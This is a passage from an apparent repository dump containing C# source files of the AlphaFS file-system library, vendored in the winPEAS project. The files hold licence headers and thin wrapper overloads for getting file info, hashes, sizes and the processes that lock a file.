    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Retrieves file information for the specified file.</summary>\n      /// <returns>A <see cref=\"ByHandleFileInfo\"/> object containing the requested information.</returns>\n      /// <remarks>File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      [SecurityCritical]\n      public static ByHandleFileInfo GetFileInfoByHandleTransacted(KernelTransaction transaction, string path)\n      {\n         return GetFileInfoByHandleCore(transaction, false, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves file information for the specified file.</summary>\n      /// <returns>A <see cref=\"ByHandleFileInfo\"/> object containing the requested information.</returns>\n      /// <remarks>File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static ByHandleFileInfo GetFileInfoByHandleTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetFileInfoByHandleCore(transaction, false, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetFileSystemEntryInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the file on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the file.</returns>\n      /// <param name=\"path\">The path to the file.</param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfo(string path)\n      {\n         return GetFileSystemEntryInfoCore(null, false, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the file on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the file.</returns>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfo(string path, PathFormat pathFormat)\n      {\n         return GetFileSystemEntryInfoCore(null, false, path, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the file on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the file or null on failure.</returns>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"continueOnException\">\n      ///    <para><c>true</c> suppress any Exception that might be thrown as a result from a failure,</para>\n      ///    <para>such as ACLs protected filesor non-accessible reparse points.</para>\n      /// </param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfo(string path, bool continueOnException)\n      {\n         return GetFileSystemEntryInfoCore(null, false, path, continueOnException, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the file on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the file or null on failure.</returns>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <param name=\"continueOnException\">\n      ///    <para><c>true</c> suppress any Exception that might be thrown as a result from a failure,</para>\n      ///    <para>such as ACLs protected filesor non-accessible reparse points.</para>\n      /// </param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfo(string path, bool continueOnException, PathFormat pathFormat)\n      {\n         return GetFileSystemEntryInfoCore(null, false, path, continueOnException, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetFileSystemEntryInfoTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the file on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the file.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path)\n      {\n         return GetFileSystemEntryInfoCore(transaction, false, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the file on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the file.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetFileSystemEntryInfoCore(transaction, false, path, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the file on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the file or null on failure.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"continueOnException\">\n      ///    <para><c>true</c> suppress any Exception that might be thrown as a result from a failure,</para>\n      ///    <para>such as ACLs protected filesor non-accessible reparse points.</para>\n      /// </param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path, bool continueOnException)\n      {\n         return GetFileSystemEntryInfoCore(transaction, false, path, continueOnException, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the file on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the file or null on failure.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <param name=\"continueOnException\">\n      ///    <para><c>true</c> suppress any Exception that might be thrown as a result from a failure,</para>\n      ///    <para>such as ACLs protected filesor non-accessible reparse points.</para>\n      /// </param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path, bool continueOnException, PathFormat pathFormat)\n      {\n         return GetFileSystemEntryInfoCore(transaction, false, path, continueOnException, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetHash.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\nusing Alphaleonis.Win32.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Calculates the hash/checksum for the given <paramref name=\"fileFullPath\"/>.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fileFullPath\">The path to the file.</param>\n      /// <param name=\"hashType\">One of the <see cref=\"HashType\"/> values.</param>\n      /// <returns>The hash.</returns>\n      [Obsolete(\"Use GetHashTransacted method.\")]\n      [SecurityCritical]\n      public static string GetHash(KernelTransaction transaction, string fileFullPath, HashType hashType)\n      {\n         return GetHashCore(transaction, fileFullPath, hashType, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Calculates the hash/checksum for the given <paramref name=\"fileFullPath\"/>.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fileFullPath\">The path to the file.</param>\n      /// <param name=\"hashType\">One of the <see cref=\"HashType\"/> values.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>The hash.</returns>\n      [Obsolete(\"Use GetHashTransacted method.\")]\n      [SecurityCritical]\n      public static string GetHash(KernelTransaction transaction, string fileFullPath, HashType hashType, PathFormat pathFormat)\n      {\n         return GetHashCore(transaction, fileFullPath, hashType, pathFormat);\n      }\n\n\n      #endregion // Obsolete\n\n\n      /// <summary>[AlphaFS] Calculates the hash/checksum for the given <paramref name=\"fileFullPath\"/>.</summary>\n      /// <param name=\"fileFullPath\">The path to the file.</param>\n      /// <param name=\"hashType\">One of the <see cref=\"HashType\"/> values.</param>\n      /// <returns>The hash.</returns>\n      [SecurityCritical]\n      public static string GetHash(string fileFullPath, HashType hashType)\n      {\n         return GetHashCore(null, fileFullPath, hashType, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Calculates the hash/checksum for the given <paramref name=\"fileFullPath\"/>.</summary>\n      /// <param name=\"fileFullPath\">The path to the file.</param>\n      /// <param name=\"hashType\">One of the <see cref=\"HashType\"/> values.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>The hash.</returns>\n      [SecurityCritical]\n      public static string GetHash(string fileFullPath, HashType hashType, PathFormat pathFormat)\n      {\n         return GetHashCore(null, fileFullPath, hashType, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetHashTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\nusing Alphaleonis.Win32.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>\n      /// [AlphaFS] Calculates the hash/checksum for the given <paramref name=\"fileFullPath\"/>.\n      /// </summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fileFullPath\">The path to the file.</param>\n      /// <param name=\"hashType\">One of the <see cref=\"HashType\"/> values.</param>\n      /// <returns>The hash.</returns>\n      [SecurityCritical]\n      public static string GetHashTransacted(KernelTransaction transaction, string fileFullPath, HashType hashType)\n      {\n         return GetHashCore(transaction, fileFullPath, hashType, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>\n      /// [AlphaFS] Calculates the hash/checksum for the given <paramref name=\"fileFullPath\"/>.\n      /// </summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fileFullPath\">The path to the file.</param>\n      /// <param name=\"hashType\">One of the <see cref=\"HashType\"/> values.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>The hash.</returns>\n      [SecurityCritical]\n      public static string GetHashTransacted(KernelTransaction transaction, string fileFullPath, HashType hashType, PathFormat pathFormat)\n      {\n         return GetHashCore(transaction, fileFullPath, hashType, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetProcessForFileLock.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.ObjectModel;\nusing System.Diagnostics;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets a list of processes that have a lock on the files specified by <paramref name=\"filePath\"/>.</summary>\n      /// <returns>\n      /// <c>null</c> when no processes found that are locking the file specified by <paramref name=\"filePath\"/>.\n      /// A list of processes locking the file specified by <paramref name=\"filePath\"/>.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"InvalidOperationException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"filePath\">The path to the file.</param>\n      public static Collection<Process> GetProcessForFileLock(string filePath)\n      {\n         return GetProcessForFileLockCore(null, new Collection<string>(new[] {filePath}), PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets a list of processes that have a lock on the files specified by <paramref name=\"filePath\"/>.</summary>\n      /// <returns>\n      /// <c>null</c> when no processes found that are locking the file specified by <paramref name=\"filePath\"/>.\n      /// A list of processes locking the file specified by <paramref name=\"filePath\"/>.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"InvalidOperationException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"filePath\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      public static Collection<Process> GetProcessForFileLock(string filePath, PathFormat pathFormat)\n      {\n         return GetProcessForFileLockCore(null, new Collection<string>(new[] {filePath}), pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Gets a list of processes that have a lock on the file(s) specified by <paramref name=\"filePaths\"/>.</summary>\n      /// <returns>\n      /// <c>null</c> when no processes found that are locking the file(s) specified by <paramref name=\"filePaths\"/>.\n      /// A list of processes locking the file(s) specified by <paramref name=\"filePaths\"/>.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"InvalidOperationException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"filePaths\">A list with one or more file paths.</param>\n      public static Collection<Process> GetProcessForFileLock(Collection<string> filePaths)\n      {\n         return GetProcessForFileLockCore(null, filePaths, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets a list of processes that have a lock on the file(s) specified by <paramref name=\"filePaths\"/>.</summary>\n      /// <returns>\n      /// <c>null</c> when no processes found that are locking the file(s) specified by <paramref name=\"filePaths\"/>.\n      /// A list of processes locking the file(s) specified by <paramref name=\"filePaths\"/>.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"InvalidOperationException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"filePaths\">A list with one or more file paths.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      public static Collection<Process> GetProcessForFileLock(Collection<string> filePaths, PathFormat pathFormat)\n      {\n         return GetProcessForFileLockCore(null, filePaths, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetProcessForFileLockTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.ObjectModel;\nusing System.Diagnostics;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets a list of processes that have a lock on the files specified by <paramref name=\"filePath\"/>.</summary>\n      /// <returns>\n      /// <c>null</c> when no processes found that are locking the file specified by <paramref name=\"filePath\"/>.\n      /// A list of processes locking the file specified by <paramref name=\"filePath\"/>.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"InvalidOperationException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"filePath\">The path to the file.</param>\n      public static Collection<Process> GetProcessForFileLockTransacted(KernelTransaction transaction, string filePath)\n      {\n         return GetProcessForFileLockCore(transaction, new Collection<string>(new[] { filePath }), PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets a list of processes that have a lock on the files specified by <paramref name=\"filePath\"/>.</summary>\n      /// <returns>\n      /// <c>null</c> when no processes found that are locking the file specified by <paramref name=\"filePath\"/>.\n      /// A list of processes locking the file specified by <paramref name=\"filePath\"/>.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"InvalidOperationException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"filePath\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      public static Collection<Process> GetProcessForFileLockTransacted(KernelTransaction transaction, string filePath, PathFormat pathFormat)\n      {\n         return GetProcessForFileLockCore(transaction, new Collection<string>(new[] { filePath }), pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Gets a list of processes that have a lock on the file(s) specified by <paramref name=\"filePaths\"/>.</summary>\n      /// <returns>\n      /// <c>null</c> when no processes found that are locking the file(s) specified by <paramref name=\"filePaths\"/>.\n      /// A list of processes locking the file(s) specified by <paramref name=\"filePaths\"/>.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"InvalidOperationException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"filePaths\">A list with one or more file paths.</param>\n      public static Collection<Process> GetProcessForFileLockTransacted(KernelTransaction transaction, Collection<string> filePaths)\n      {\n         return GetProcessForFileLockCore(transaction, filePaths, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets a list of processes that have a lock on the file(s) specified by <paramref name=\"filePaths\"/>.</summary>\n      /// <returns>\n      /// <c>null</c> when no processes found that are locking the file(s) specified by <paramref name=\"filePaths\"/>.\n      /// A list of processes locking the file(s) specified by <paramref name=\"filePaths\"/>.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"InvalidOperationException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"filePaths\">A list with one or more file paths.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      public static Collection<Process> GetProcessForFileLockTransacted(KernelTransaction transaction, Collection<string> filePaths, PathFormat pathFormat)\n      {\n         return GetProcessForFileLockCore(transaction, filePaths, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetSize.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Retrieves the size of the specified file.</summary>\n      /// <returns>The file size, in bytes.</returns>\n      /// <param name=\"path\">The path to the file.</param>\n      [SecurityCritical]\n      public static long GetSize(string path)\n      {\n         return GetSizeCore(null, null, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of the specified file.</summary>\n      /// <returns>The file size, in bytes.</returns>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static long GetSize(string path, PathFormat pathFormat)\n      {\n         return GetSizeCore(null, null, path, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of the specified file.</summary>\n      /// <returns>The file size of the first or all streams, in bytes.</returns>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"sizeOfAllStreams\"><c>true</c> to retrieve the size of all alternate data streams, <c>false</c> to get the size of the first stream.</param>\n      [SecurityCritical]\n      public static long GetSize(string path, bool sizeOfAllStreams)\n      {\n         return GetSizeCore(null, null, path, sizeOfAllStreams, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the size of the specified file.</summary>\n      /// 